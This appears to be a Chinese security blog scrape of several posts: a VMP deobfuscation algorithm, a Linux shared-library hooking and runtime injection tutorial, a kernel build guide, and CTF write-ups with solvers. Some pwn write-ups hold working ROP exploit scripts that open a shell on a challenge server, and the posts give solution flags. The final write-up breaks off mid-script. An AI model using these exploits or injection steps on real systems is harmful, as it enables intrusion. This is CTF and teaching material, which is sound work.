好在现在的反汇编引擎(这里用的是capstone</a>)已经足够强大，可以直接获得对哪些寄存器以及标志位进行了读写。
只需要对特殊指令进行特殊处理，如xor rax,rax</code>，可以世纪中边用边完善。</p>
算法实现</h1>
对代码段进行逆序遍历，因为如果是正序遍历，遍历到某行代码时并不知道这行代码写入的寄存器会不会被二次写入；而逆序遍历从后往前，可以明确知道每个寄存器是否需要使用到。</p>
在代码中建立了last_reg_write</code>和last_eflags_write</code>两个变量，分别用于记录对哪些寄存器的写入操作是无效的，如果该位为1,则对该位的写入为无效。因此他们的初始值为0，表示最后执行完所有寄存器的值都是有用的，也可以根据实际情况进行修改。</p>
然后如果当前指令被删除了就跳过这行指令，如果没有标记keep</code>那么就把这条指令regs_write</code>中可以删除的操作进行删除——即把last_reg_write</code>中为1的位在regs_write</code>中设为0。然后这样操作之后，如果这条指令没有任何写操作，就可以放心的把这条指令删除了。</p>
接着更新last_reg_write</code>，由于汇编读写同一个寄存器肯定是先读再写，那么逆序就是先处理写、再处理读。如果这条汇编写入了一个寄存器，那么就可以标记未来对这个寄存器的写是可以删除的，即将last_reg_write</code>对应位置1。
如果这条汇编读了一个寄存器，那么就需要把可以删除的标记去掉，即将last_reg_write</code>对应位置0。</p>
在这样的一轮循环后，就可以完成所有无用指令的识别，通过位运算，大大提高了执行效率。代码如下</p>
void </span>InstManager::</span>simplify</span>() {
</span>    </span>uint64_t</span> last_reg_write </span>= </span>0</span>;
</span>    </span>uint16_t</span> last_eflags_write </span>= </span>0</span>;
</span>    </span>for </span>(</span>auto</span> inst_ptr </span>=</span> insts->rbegin(); inst_ptr </span>!=</span> insts->rend(); inst_ptr</span>++</span>) {
</span>        InstInfo </span>*</span>inst </span>= *</span>inst_ptr;
</span>        </span>if </span>(inst->isDeleted() </span>||</span> inst->isUseless()) {
</span>            </span>continue</span>;
</span>        }
</span>        </span>if </span>(</span>!</span>inst->isKeep()) {
</span>            </span>bool</span> t </span>= </span>(inst-></span>regs_write </span>&</span> last_reg_write) </span>|| </span>(inst-></span>eflags_write </span>&</span> last_eflags_write);
</span>            inst-></span>regs_write </span>&= ~</span>last_reg_write;
</span>            inst-></span>eflags_write </span>&= ~</span>last_eflags_write;
</span>            </span>if </span>(t </span>&&</span> inst-></span>regs_write </span>== </span>0 </span>&&</span> inst-></span>eflags_write </span>== </span>0</span>) {
</span>                inst->setDeleted(</span>true</span>);
</span>                </span>continue</span>;
</span>            }
</span>        }
</span>
</span>        last_reg_write </span>|=</span> inst-></span>regs_write</span>;
</span>        last_reg_write </span>&= ~</span>inst-></span>regs_read</span>;
</span>        last_eflags_write </span>|=</span> inst-></span>eflags_write</span>;
</span>        last_eflags_write </span>&= ~</span>inst-></span>eflags_read</span>;
</span>    }
</span>}
</span></code></pre>
效果</h1>
从vmp中抽取了一小段代码，识别结果如下。红色背景的指令是可以删除的指令，黄色文字的指令是标记需要保留的指令。</p>
</p>
总结</h1>
通过上面的算法，可以让对vmp的分析更加方便。还可以将它写成IDA、x96dbg的插件，这样可以在动态调试中辅助人工分析。</p>
项目链接：ri-char/devmp</a></p>


linux动态库编写与注入
2022-04-10T00:00:00+00:00
动态库编写</h1>
加载时、结束时运行</h2>
通过__attribute__((constructor))</code>修饰的函数在该动态库被加载时进行调用。同样__attribute__((destructor))</code>修饰的函数会在程序正常退出时调用。其原理是将该函数的地址加入至.init_array</code>或.fini_array</code>段中，ld加载时就会调用该函数。</p>
一般来说constructor</code>会更加常用，可以在里面动态地inline hook某些函数或读取/修改某些内存的值等等。</p>
#include </span><stdio.h>
</span>
</span>__attribute__</span>((constructor))
</span>void </span>constructor</span>() {
</span>	</span>puts</span>(</span>"Library Loaded..."</span>);
</span>}
</span>
</span>__attribute__</span>((destructor))
</span>void </span>constructor</span>() {
</span>	</span>puts</span>(</span>"Library Removed..."</span>);
</span>}
</span>
</span></code></pre>
通过同名覆盖实现hook函数</h2>
这种方式只能用于LD_PRELOAD</code>的方式加载。这边拿hook libc的函数举例，由于指定的动态库会在libc等函数之前加载，因此如果该动态库与libc中有同名函数，则会有限调用我们写的函数。然后在此函数中通过ld提供的dlsym</code>函数加载真实的函数地址，这样就可以在调用真实的函数前后我们进行任意的修改。例如下面是一个能够检测调用libc堆操作的代码。</p>
里面复制了一些libc源码中的宏，以便读取堆块的大小。</p>
#define </span>_GNU_SOURCE
</span>#include</span><stdio.h>
</span>#include</span><stdint.h>
</span>#include</span><dlfcn.h>
</span>#include</span><stdlib.h>
</span>
</span>#define </span>unlikely</span>(</span>x</span>) __builtin_expect(</span>!!</span>(x),</span>0</span>)
</span>#define </span>TRY_LOAD_HOOK_FUNC</span>(</span>name</span>) </span>if</span>(unlikely(</span>!</span>g_sys_##name)){ \
</span>    g_sys_##name</span>=</span>(sys_##name##_t)dlsym(RTLD_NEXT,#name); \
</span>}
</span>#define </span>__log</span>(</span>format</span>,</span>...</span>) </span>fprintf</span>(stderr,</span>"</span>\33</span>[35m</span>\033</span>[1m[@]"</span>format</span>"</span>\33</span>[0m"</span>,##__VA_ARGS__)
</span>
</span>//---------------malloc.c-----------------
</span>#ifndef</span> INTERNAL_SIZE_T
</span># define </span>INTERNAL_SIZE_T </span>size_t
</span>#endif
</span>#define </span>SIZE_SZ (</span>sizeof </span>(INTERNAL_SIZE_T))
</span>#define </span>MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT </span>- </span>1</span>)
</span>struct </span>malloc_chunk {
</span>  INTERNAL_SIZE_T      mchunk_prev_size;
</span>  INTERNAL_SIZE_T      mchunk_size;
</span>  </span>struct </span>malloc_chunk* fd;
</span>  </span>struct </span>malloc_chunk* bk;
</span>  </span>struct </span>malloc_chunk* fd_nextsize;
</span>  </span>struct </span>malloc_chunk* bk_nextsize;
</span>};
</span>typedef struct</span> malloc_chunk</span>* </span>mchunkptr;
</span>#define </span>chunk2mem</span>(</span>p</span>)   ((</span>void</span>*</span>)((</span>char</span>*</span>)(p) </span>+ </span>2</span>*</span>SIZE_SZ))[菜单] 
</span>#define </span>mem2chunk</span>(</span>mem</span>) ((mchunkptr)((</span>char</span>*</span>)(mem) </span>- </span>2</span>*</span>SIZE_SZ))
</span>#define </span>PREV_INUSE </span>0x1
</span>#define </span>prev_inuse</span>(</span>p</span>)       ((p)->mchunk_size </span>&</span> PREV_INUSE)
</span>#define </span>IS_MMAPPED </span>0x2
</span>#define </span>chunk_is_mmapped</span>(</span>p</span>) ((p)->mchunk_size </span>&</span> IS_MMAPPED)
</span>#define </span>NON_MAIN_ARENA </span>0x4
</span>#define </span>chunk_main_arena</span>(</span>p</span>) (((p)->mchunk_size </span>&</span> NON_MAIN_ARENA) </span>== </span>0</span>)
</span>#define </span>SIZE_BITS (PREV_INUSE </span>|</span> IS_MMAPPED </span>|</span> NON_MAIN_ARENA)
</span>#define </span>chunksize</span>(</span>p</span>) (chunksize_nomask (p) </span>& ~</span>(SIZE_BITS))
</span>#define </span>chunksize_nomask</span>(</span>p</span>)         ((p)->mchunk_size)
</span>#define </span>next_chunk</span>(</span>p</span>) ((mchunkptr) (((</span>char </span>*</span>) (p)) </span>+ </span>chunksize (p)))
</span>#define </span>prev_size</span>(</span>p</span>) ((p)->mchunk_prev_size)
</span>#define </span>prev_chunk</span>(</span>p</span>) ((mchunkptr) (((</span>char </span>*</span>) (p)) </span>- </span>prev_size (p)))
</span>//---------------end-----------------
</span>
</span>typedef void</span>* </span>(</span>*</span>sys_malloc_t)(</span>size_t</span> size);
</span>static</span> sys_malloc_t g_sys_malloc</span>=</span>NULL</span>;
</span>void</span>* </span>malloc</span>(</span>size_t </span>size</span>){
</span>    TRY_LOAD_HOOK_FUNC(malloc);
</span>    </span>void </span>*</span>p</span>=</span>g_sys_malloc(size);
</span>    __log(</span>"malloc: size=0x</span>%zX</span>, ptr=</span>%p</span>\n</span>"</span>,size,p);
</span>    </span>return</span> p;
</span>}
</span>
</span>typedef void</span>* </span>(</span>*</span>sys_calloc_t)(</span>size_t</span> num,</span>size_t</span> size);
</span>static</span> sys_calloc_t g_sys_calloc</span>=</span>NULL</span>;
</span>void</span>* </span>calloc</span>(</span>size_t </span>num</span>,</span>size_t </span>size</span>){
</span>    TRY_LOAD_HOOK_FUNC(calloc);
</span>    </span>void </span>*</span>p</span>=</span>g_sys_calloc(num,size);
</span>    __log(</span>"calloc: num=0x</span>%zX</span>, size=0x</span>%zX</span>, ptr=</span>%p</span>\n</span>"</span>,num,size,p);
</span>    </span>return</span> p;
</span>}
</span>
</span>typedef void</span>* </span>(</span>*</span>sys_realloc_t)(</span>void </span>*</span>old, </span>size_t</span> new_size);
</span>static</span> sys_realloc_t g_sys_realloc</span>=</span>NULL</span>;
</span>void</span>* </span>realloc</span>(</span>void </span>*</span>old</span>, </span>size_t </span>new_size</span>){
</span>    TRY_LOAD_HOOK_FUNC(realloc);
</span>    </span>void </span>*</span>p</span>=</span>g_sys_realloc(old,new_size);
</span>    __log(</span>"realloc: old_ptr=</span>%p</span>, new_ptr=</span>%p</span>, new_size=0x</span>%zX</span>\n</span>"</span>,old,p,new_size);
</span>    </span>return</span> p;
</span>}
</span>
</span>typedef void </span>(</span>*</span>sys_free_t)(</span>void </span>*</span>ptr);
</span>static</span> sys_free_t g_sys_free </span>= </span>NULL</span>;
</span>void </span>free</span>(</span>void </span>*</span>ptr</span>){
</span>    TRY_LOAD_HOOK_FUNC(free);
</span>    g_sys_free(ptr);
</span>    </span>if</span>(ptr){
</span>        __log(</span>"free: size=0x</span>%zX</span>, ptr=</span>%p</span>\n</span>"</span>,chunksize(mem2chunk(ptr)),ptr);
</span>    }</span>else</span>{
</span>        __log(</span>"free: Null pointer</span>\n</span>"</span>);
</span>    }
</span>}
</span></code></pre>
动态库注入</h1>
在Linux中，让一个进程加载指定的动态链接库(.so文件)的方法比windows少得多，局限性也较大。</p>
运行前指定</h2>
这种方式适用于在运行前加上指定环境变量或者直接修改ELF可执行文件，可以在程序运行最开始时运行某段代码，或执行函数hook等。</p>
preload</h3>
preload参数可以让ld加载程序前加载指定动态库。有两种方式实现</p>

LD_PRELOAD</code>是ld.so</a>加载程序时会看的一个环境变量。可以指定一个或多个动态库(用空格或者分号隔开)。该环境变量里的动态库会按从左到右的顺序加载。但是如果程序中可以通过检测该环境变量来反注入。</li>
使用ld的--preload</code>参数，这种方式可以在程序内部通过读取/proc/self/cmdline</code>探测到。</li>
</ol>
LD_PRELOAD</span>=</span>./injection.so </span>./target
</span>/lib64/ld-linux-x86-64.so.2</span> --preload</span> ./injection.so ./target
</span></code></pre>
Patchelf</h3>
使用NixOS/patchelf</a>工具，直接修改可执行文件，可以通过--add-needed</code>强制添加一个依赖，就不用每次启动都加上环境变量或者用ld启动。这种方式会修改文件，如果程序有签名校验等操作，就难以绕过。</p>
patchelf</span> --add-needed</span> injection.so ./target
</span></code></pre>
运行时注入</h2>
运行时注入大概dlsym分为以下几步：先让程序停下来，然后将shellcode写入rip指向的位置，最后让程序恢复执行。</p>
根据这个原理，重构了MordragT/injex</a>，并增加了一些新功能，放在ri-char/injex</a>。</p>
让程序停下来</h3>
Ptrace</h4>
ptrace是设计给调试器使用的。因此可以通过ptrace附加到目标进程上，控制目标进程是否执行。</p>
局限性：</p>

需要root权限或者给/proc/sys/kernel/yama/ptrace_scope</code>写入1</li>
如果目标进程上已经被ptrace了，就无法使用这种方式。例如ptrace反调试，先自己启一个进程调试关键进程，这样其他进程都调不上来了</li>
</ol>
由于其局限性较大，所以一般不采用该方式，在injex中也未实现该种方式。</p>
Signal</h4>
ptrace会在attach时给目标进程发送SIGSTOP</code>信号，那我们也可以直接给目标进程发送该信号。当一个进程收到该信号后会进入Stopped</code>状态，并且无法屏蔽该信号。当收到SIGCONT</code>信号时，该进程才会继续执行。</p>
DavidBuchanan314/dlinject</a>中默认的方式就是这种方式。</p>
kill</span> -SIGSTOP $</span>pid
</span>kill</span> -SIGCONT $</span>pid
</span></code></pre>
CGroups</h4>
CGroups是linux内核中给进程用于限制、统计、隔离各类系统资源的特性。他有两个不兼容的版本v1以及v2</a>。我们可以创建一个CGroup，并将目标进程放入CGroup中，然后可以冻结这个CGroup，来实现暂停进程的功能。但是这种方式需要root权限。</p>
DavidBuchanan314/dlinject</a>中也实现了该方式，但是它针对的是CGroups v1。在v2中，实现的bash脚本大致如下需要(root权限)：</p>
export </span>PID</span>=</span>xxx
</span>
</span># 暂停程序
</span>mkdir /sys/fs/cgroup/injex_$</span>PID </span># 创建名为injex_$PID的cgroup
</span>echo </span>$</span>PID </span>></span> /sys/fs/cgroup/injex_$</span>PID</span>/cgroup.procs </span># 将目标进程加入至injex_$PID
</span>echo 1 </span>></span> /sys/fs/cgroup/injex_$</span>PID</span>/cgroup.freeze </span># 将此cgroup冻结
</span>
</span># 查看是否已经处于冻结状态
</span>cat /sys/fs/cgroup/injex_$</span>PID</span>/cgroup.events
</span>
</span># 恢复执行
</span>echo </span>$</span>PID </span>></span> /sys/fs/cgroup/cgroup.procs </span># 将目标进程放回默认cgroup
</span>rmdir /sys/fs/cgroup/injex_$</span>PID </span># 将创建的进程组删掉
</span></code></pre>
写入shellcode</h3>
将程序暂停下来后可以通过/proc/pid/syscall</code>文件来获取目标进程此时的rip</code>和rsp</code>寄存器。然后向rip</code>指向的地址写入shellcode。然是如果在这段shellcode中直接调用_dl_open</code>，那么加载进来的动态库构造函数可能会破坏当前进程的栈，因此先备份一遍栈上内容，然后调用加载动态库，加载后将备份的内容恢复。</p>
那如何将备份的内容恢复呢，当然可以再次让程序停下来，但这样成本太高，通常我们把要恢复的内容、以及恢复内容的代码也写入目标进程，然后直接让目标进程执行。</p>
所以shellcode分为两段，第一段shellcode用mmap系统调用开辟空间，然后通过读取文件或者打开共享内存的方式加载第二段shellcode。第二段shellcode里面先调用_dl_open</code>加载动态库，然后再恢复寄存器、栈等信息，最后跳回原来的程序继续执行。具体的代码可以参考dlinject.py</a>。在实际编写代码中还遇到一个小坑，就是解析ld.so</code>的符号的时候没有找到_dl_open</code>，甚至还换了一个解析ELF文件的库，后来发现是因为ld.so</code>的调试文件是分离的，应当单独加载调试文件，然后解析符号位置，调试文件位置可以参考GDB的加载顺序</a>。</p>
修改目标进程的内存有三种方式，他们都和ptrace需要相同的权限：有CAP_SYS_PTRACE或和目标进程是同一用户并且系统允许普通用户调试。</p>
通过/proc/pid/mem</h4>
proc文件系统中将任意进程的内存都映射到了/proc/{pid}/mem</code>文件，可以通过直接读写这个文件来访问、修改目标进程的内存。</p>
通过ptrace</h4>
Ptrace通过PTRACE_PEEKDATA和PTRACE_POKEDATA功能可以向目标进程读取和写入一个字的内容。但是一次只能读写一个字，效率很低，所以一般也不采用这种方式。</p>
process_vm_readv/writev系统调用</h4>
process_vm_readv和process_vm_writev系统调用可以不经过内核内存进行跨进程内存读写。源码位于mm/process_vm_access.c</a>。但是实际测试中，由于想要写入的段没有写权限，所以只能读不能写，。</p>
总结</h1>
总结下来，想要动态注入还是需要CAP_SYS_PTRACE比较方便，但一般都是root权限直接注入就行了。还有需要改进的地方有：shellcode中调用的ld的_ld_open</code>可能被hook，因此可以自己写如一个加载器在shellcode中。强对抗环境下，进程可以直接在/proc/self/maps</code>看到可疑映射，可以想办法让加载出来的空间伪装成堆栈。</p>


Linux内核编译
2021-12-03T00:00:00+00:00
Linux 5.15.5内核编译</h1>
先去官网</a>下载最新内核源码，预先安装好以下这些库</p>
sudo apt install libssl-dev libncurses5-dev flex bison libelf-dev libssl-dev dwarves
</span></code></pre>
make menuconfig</code>进行编译前配置，主要要打开下面修改选项，这样可以更容易的调试，若要使用llvm,则加上LLVM=1</code></p>
kernel hacking –> Compile-time checks and compiler options –> Compile the kernel with debug info
</span>kernel hacking –> Compile-time checks and compiler options –> Provide GDB scripts for kernel debugging
</span></code></pre>
为了加速编译，可以关闭下面用不到的功能</p>
Networking support
</span>Virtualization
</span>File systems -> CD-ROM/DVD Filesystems
</span>File systems -> DOS/FAT/EXFAT/NT Filesystems
</span></code></pre>
编辑.config</code>，关闭校验签名的功能</p>
CONFIG_SYSTEM_REVOCATION_LIST=n
</span>CONFIG_SYSTEM_TRUSTED_KEYS=""
</span>CONFIG_SYSTEM_TRUSTED_KEYRING=n
</span></code></pre>
编译</p>
make bzImage</span> -j</span> 12
</span>make headers_install INSTALL_HDR_PATH=./headers
</span></code></pre>
得到输出文件arch/x86/boot/bzImage</code>，可以把这个文件单独移出来。</p>
交叉编译</h2>
sudo apt install binutils-aarch64-linux-gnu gcc-aarch64-linux-gnu
</span># 其中要选择对应硬件信息，qemu上运行可以选择
</span>make ARCH=arm64 CROSS_COMPILE=/usr/bin/aarch64-linux-gnu- menuconfig
</span>
</span># 同上修改.config,关闭签名
</span>
</span>make ARCH=arm64 CROSS_COMPILE=/usr/bin/aarch64-linux-gnu-</span> -j12
</span># 导出头文件
</span>make headers_install ARCH=arm64 INSTALL_HDR_PATH=./headers
</span></code></pre>
编译busybox</h1>
官网</a>下载最新源码</p>
make menuconfig</code>打开Settings -> Build static binary (no shared libs)</code></p>
交叉编译时Settings -> Cross compiler prefix </code>设为aarch64-linux-gnu-</code></p>
然后make && make install</code></p>
得到生成文件夹_install</code></p>
制作最小根文件系统</h1>
将_install</code>拷贝一份。进入文件夹执行以下命令。</p>
mkdir proc dev sys
</span>cat </span><< EOF ></span> init
</span>#!/bin/sh
</span>mount -t proc none /proc
</span>mount -t sysfs none /sys
</span>mount -t devtmpfs devtmpfs /dev
</span>echo -e "\nBoot took </span>\$</span>(cut -d' ' -f1 /proc/uptime) seconds\n"
</span>setsid cttyhack setuidgid 1000 sh
</span>umount /proc
</span>umount /sys
</span>poweroff -d 0 -f
</span>EOF
</span>chmod 755 init
</span>sudo chown</span> -R</span> root:root </span>*
</span></code></pre>
一个最小的文件系统就做好了，然后将其打包起来，先进入该文件夹，然后用下面的命令</p>
find . </span>| </span>cpio</span> -o --format</span>=</span>newc </span>| </span>gzip</span> -9 </span>></span> ../initrd.cpio.gz
</span></code></pre>
生成initrd.cpio.gz</code>文件</p>
Qemu运行和调试</h1>
安装:sudo apt install qemu-system-x86</code></p>
启动：</p>
qemu-system-x86_64</span> -kernel</span> ./bzImage</span> -initrd</span> ./initrd.cpio.gz</span> -append </span>"console=ttyS0"</span> -enable-kvm -nographic
</span></code></pre>
一些常用快捷键: Ctrl+A X</code>  退出；Ctrl+A H</code>  打开帮助。</p>
aarch64下</p>
qemu-system-aarch64</span> -machine</span> virt</span> -cpu</span> cortex-a53</span> -smp</span> 1</span> -m</span> 2G</span> -kernel</span> ./Image</span> -initrd</span> ./initrd.cpio</span> -append </span>"console=ttyAMA0"</span> -nographic
</span></code></pre>
Ccache加速编译</h1>
安装ccache:sudo apt install ccache</code></p>
ccache</span> -d </span>~</span>/.ccache </span># 配置ccache缓存路径
</span>ccache</span> -M</span> 50G </span># 配置ccache缓存上限
</span></code></pre>
内核make</code>时加上环境变量HOSTCC="ccache gcc"</code>和CROSS_COMPILE="ccache "</code>(不要忘记ccache后面的空格)</p>
缓存后一次全新编译只要4min。</p>


ByteCTF MordernCPP WriteUp
2021-10-19T00:00:00+00:00
通过Ghidra分析可以看出main函数里面有大量try catch结构。整个程序的核心控制逻辑都是由try catch来控制的。因此动调的时候尽量都跟进函数里，先分析出程序的大体执行流程。</p>
</p>
可以识别几处函数的跳转（图片来自Socular师傅）</p>
</p>
动调过后可以发现，两个关键函数为sub_40211C</code>和sub_4024A4</code>。通过常数可以轻松识别出来，sub_4024A4</code>是TEA加密，密钥可以调试得来为byte-ctfwecome~</code>。密文与从0x536800</code>开始的40字节对比。因此可以直接写出解密脚本。</p>
解得原文为</p>
[</span>0x0c</span>, </span>0xf0</span>, </span>0x69</span>, </span>0xd8</span>, </span>0x4a</span>, </span>0x32</span>, </span>0xfb</span>, </span>0x62</span>, </span>0x8e</span>, </span>0xa4</span>, </span>0xcc</span>, </span>0x0c</span>, </span>0xc0</span>, </span>0x22</span>, </span>0x63</span>, </span>0xe5</span>, </span>0xb6</span>, </span>0xfd</span>, </span>0x07</span>, </span>0x5e</span>, </span>0xe6</span>, </span>0xfe</span>, </span>0xc6</span>, </span>0x8d</span>, </span>0xfd</span>, </span>0x8d</span>, </span>0x51</span>, </span>0xad</span>, </span>0xe4</span>, </span>0x68</span>, </span>0xfa</span>, </span>0x14</span>, </span>0x78</span>]
</span></code></pre>
sub_40211C</code>函数先逐字符将flag转化为01串(每个字符对应的01串长度不一定相等)，然后把这个01串8个一组，变成二进制数组，传入TEA加密。</p>
由于这个对应表可能是c++的某种hash表储存，难以直接找到。因此我写了一个IDA的条件断点来输出对应的01串。</p>
</p>
执行会有如下输出</p>
</p>
因此多来几次，把所有的可能字符都打出表来，再遍历即可</p>
l</span>=</span>[</span>0x0c</span>, </span>0xf0</span>, </span>0x69</span>, </span>0xd8</span>, </span>0x4a</span>, </span>0x32</span>, </span>0xfb</span>, </span>0x62</span>, </span>0x8e</span>, </span>0xa4</span>, </span>0xcc</span>, </span>0x0c</span>, </span>0xc0</span>, </span>0x22</span>, </span>0x63</span>, </span>0xe5</span>, </span>0xb6</span>, </span>0xfd</span>, </span>0x07</span>, </span>0x5e</span>, </span>0xe6</span>, </span>0xfe</span>, </span>0xc6</span>, </span>0x8d</span>, </span>0xfd</span>, </span>0x8d</span>, </span>0x51</span>, </span>0xad</span>, </span>0xe4</span>, </span>0x68</span>, </span>0xfa</span>, </span>0x14</span>, </span>0x78</span>]
</span>
</span>ss</span>=</span>""</span>.join([</span>bin</span>(b)[</span>2</span>:].zfill(</span>8</span>) </span>for </span>b </span>in </span>l])
</span>table</span>=</span>{
</span>    </span>'!'</span>: </span>'00110110'</span>,
</span>    </span>'#'</span>: </span>'101001'</span>,
</span>    </span>'%'</span>: </span>'00010'</span>,
</span>    </span>'&'</span>: </span>'10100011100'</span>,
</span>    </span>'('</span>: </span>'010011'</span>,
</span>    </span>')'</span>: </span>'111100'</span>,
</span>    </span>'*'</span>: </span>'0110010'</span>,
</span>    </span>'+'</span>: </span>'10111'</span>,
</span>    </span>'-'</span>: </span>'10100010'</span>,
</span>    </span>';'</span>: </span>'1010000'</span>,
</span>    </span>'='</span>: </span>'000000'</span>,
</span>    </span>'@'</span>: </span>'1110011'</span>,
</span>    </span>'['</span>: </span>'110011'</span>,
</span>    </span>']'</span>: </span>'00100'</span>,
</span>    </span>'^'</span>: </span>'01111'</span>,
</span>    </span>'_'</span>: </span>'01010'</span>,
</span>    </span>'{'</span>: </span>'10001'</span>,
</span>    </span>'}'</span>: </span>'1010001111'</span>,
</span>    </span>'a'</span>: </span>'100101'</span>,
</span>    </span>'b'</span>: </span>'00001'</span>,
</span>    </span>'c'</span>: </span>'01110'</span>,
</span>    </span>'d'</span>: </span>'11011'</span>,
</span>    </span>'e'</span>: </span>'0011010'</span>,
</span>    </span>'f'</span>: </span>'010010'</span>,
</span>    </span>'g'</span>: </span>'111011'</span>,
</span>    </span>'h'</span>: </span>'01000'</span>,
</span>    </span>'i'</span>: </span>'10110'</span>,
</span>    </span>'j'</span>: </span>'00110111'</span>,
</span>    </span>'k'</span>: </span>'1111010'</span>,
</span>    </span>'l'</span>: </span>'110010'</span>,
</span>    </span>'m'</span>: </span>'00011'</span>,
</span>    </span>'n'</span>: </span>'10000'</span>,
</span>    </span>'o'</span>: </span>'10100011101'</span>,
</span>    </span>'p'</span>: </span>'0110011'</span>,
</span>    </span>'q'</span>: </span>'011000'</span>,
</span>    </span>'r'</span>: </span>'111110'</span>,
</span>    </span>'s'</span>: </span>'01011'</span>,
</span>    </span>'t'</span>: </span>'11000'</span>,
</span>    </span>'u'</span>: </span>'11110110'</span>,
</span>    </span>'v'</span>: </span>'000001'</span>,
</span>    </span>'w'</span>: </span>'111000'</span>,
</span>    </span>'x'</span>: </span>'00101'</span>,
</span>    </span>'y'</span>: </span>'10011'</span>,
</span>    </span>'z'</span>: </span>'101000110'</span>,
</span>    </span>'1'</span>: </span>'100100'</span>,
</span>    </span>'2'</span>: </span>'111111'</span>,
</span>    </span>'3'</span>: </span>'01101'</span>,
</span>    </span>'4'</span>: </span>'11010'</span>,
</span>    </span>'5'</span>: </span>'11110111'</span>,
</span>    </span>'6'</span>: </span>'001100'</span>,
</span>    </span>'7'</span>: </span>'111010'</span>,
</span>    </span>'8'</span>: </span>'00111'</span>,
</span>    </span>'9'</span>: </span>'10101'</span>,
</span>    </span>'0'</span>: </span>'1110010'
</span>}
</span>
</span>states</span>=</span>[(ss,</span>''</span>)]
</span>while </span>len</span>(states):
</span>    s,result</span>=</span>states.pop(</span>0</span>)
</span>    </span>for </span>ch,bi </span>in </span>table.items():
</span>        </span>if </span>s.startswith(bi):
</span>            states.append((s[</span>len</span>(bi):],result</span>+</span>ch))
</span>            </span>break
</span>    </span>else</span>:
</span>        </span>break
</span>print</span>(result)
</span>
</span></code></pre>
最后flag为bytectf{autofp=[=](m0d3rnc++juejuezi){};}</code>。(是c++的lambda表达式</p>


Cyber Apocalypse 2021题解
2021-04-26T00:00:00+00:00
pwn</h1>
Controller</h2>
经过一个check</code>后就是一个最普通的ROP。</p>
__int64 </span>calculator</span>()
</span>{
</span>  </span>__int64</span> result; </span>// rax
</span>  </span>char</span> v1[</span>28</span>]; </span>// [rsp+0h] [rbp-20h] BYREF
</span>  </span>int</span> v2; </span>// [rsp+1Ch] [rbp-4h]
</span>
</span>  v2 </span>= </span>calc();
</span>  </span>if </span>( v2 </span>!= </span>65338 </span>)
</span>    </span>return </span>calculator();
</span>  printstr(</span>"Something odd happened!</span>\n</span>Do you want to report the problem?</span>\n</span>> "</span>);
</span>  __isoc99_scanf(</span>"</span>%s</span>"</span>, v1);    </span>//栈溢出
</span>  </span>if </span>( v1[</span>0</span>] </span>== </span>'y' </span>||</span> v1[</span>0</span>] </span>== </span>'Y' </span>)
</span>    result </span>= </span>printstr(</span>"Problem reported!</span>\n</span>"</span>);
</span>  </span>else
</span>    result </span>= </span>printstr(</span>"Problem ingored</span>\n</span>"</span>);
</span>  </span>return</span> result;
</span>}
</span></code></pre>
前面calc</code>函数可以计算两个小于等于69的数的加减乘除，但是答案要是65338</code>，可以输入负数绕过。ROP先通过输出GOT表泄露glibc的地址，然后调用system函数。</p>
from </span>typing </span>import </span>Union
</span>from </span>pwn </span>import </span>*
</span>from </span>LibcSearcher </span>import </span>*
</span>from </span>pwnlib.rop </span>import </span>*
</span>from </span>pwnlib.context </span>import </span>*
</span>
</span>context.log_level</span>=</span>'debug'
</span>REMOTE </span>= </span>True
</span>
</span>def </span>main</span>(</span>p</span>: Union[remote, process], </span>elf</span>: </span>ELF</span>):
</span>    p.sendlineafter(</span>'Insert the amount of 2 different types of recources:'</span>, </span>'0 -65338'</span>)
</span>    p.sendlineafter(</span>'> '</span>,</span>'2'</span>)
</span>    rop1</span>=</span>ROP(elf)
</span>    rop1.puts(elf.got[</span>'puts'</span>])
</span>    rop1.call(</span>'_start'</span>)
</span>    p.sendlineafter(</span>'> '</span>,flat({</span>40</span>:rop1.chain()}))
</span>    p.recvline()
</span>    libc</span>=</span>LibcSearcher().condition(</span>'puts'</span>,u64(p.recvline(</span>False</span>).ljust(</span>8</span>,</span>b</span>'</span>\0</span>'</span>))).elf()
</span>    rop2</span>=</span>ROP(libc)
</span>    rop2.raw(</span>0x4010FD</span>)
</span>    rop2.system(</span>next</span>(libc.search(</span>b</span>'/bin/sh</span>\0</span>'</span>)))
</span>    p.sendlineafter(</span>'Insert the amount of 2 different types of recources:'</span>, </span>'0 -65338'</span>)
</span>    p.sendlineafter(</span>'> '</span>,</span>'2'</span>)
</span>    p.sendlineafter(</span>'> '</span>,flat({</span>40</span>:rop2.chain()}))
</span>
</span>
</span>if </span>__name__ </span>== </span>"__main__"</span>:
</span>    elf_path</span>=</span>'./controller'
</span>    context.binary </span>= </span>elf_path
</span>    elf</span>=</span>ELF(elf_path)
</span>    </span>if </span>REMOTE</span>:
</span>        p</span>=</span>remote(</span>'178.62.77.109'</span>,</span>32598</span>)
</span>    </span>else</span>:
</span>        p</span>=</span>process(elf_path)
</span>    main(p,elf)
</span>    p.interactive()
</span>
</span># CHTB{1nt3g3r_0v3rfl0w_s4v3d_0ur_r3s0urc3s}
</span></code></pre>
Minefield</h2>
程序有一个任意地址写，但是写完之后就直接退出了，没有调用其它函数。但是注意到fini_array</code>段可写并且 程序存在后门函数，因此直接覆盖fini_array</code>的值为后门函数地址即可。</p>
from </span>typing </span>import </span>Union
</span>from </span>pwn </span>import </span>*
</span>
</span>context.log_level</span>=</span>'debug'
</span>REMOTE </span>= </span>True
</span>
</span>def </span>main</span>(</span>p</span>: Union[remote, process], </span>elf</span>: </span>ELF</span>):
</span>    p.sendlineafter(</span>'> '</span>, </span>'2'</span>)
</span>    ida.attachAndContinue()
</span>    p.sendlineafter(</span>': '</span>, </span>str</span>(</span>0x601078</span>))
</span>    p.sendlineafter(</span>': '</span>, </span>str</span>(elf.sym[</span>'_'</span>]))
</span>
</span>if </span>__name__ </span>== </span>"__main__"</span>:
</span>    elf_path</span>=</span>'./minefield'
</span>    context.binary </span>= </span>elf_path
</span>    elf</span>=</span>ELF(elf_path)
</span>    </span>if </span>REMOTE</span>:
</span>        p</span>=</span>remote(</span>'178.62.77.109'</span>,</span>32598</span>)
</span>    </span>else</span>:
</span>        p</span>=</span>process(elf_path)
</span>    main(p,elf)
</span>    p.interactive()
</span># CHTB{d3struct0r5_m1n3f13ld}
</span></code></pre>
System dROP</h2>
栈溢出，但是没有输出的函数，可以通过syscall;ret;</code>片段进行系统调用。利用SROP</code>构造除符合条件的寄存器状态，进行调用。</p>
基本思路: 栈转移->写入/bin/sh</code>以及SigreturnFrame</code>->读入15个字符使得rax为15->syscall</code>->syscall</code></p>
from </span>typing </span>import </span>Union
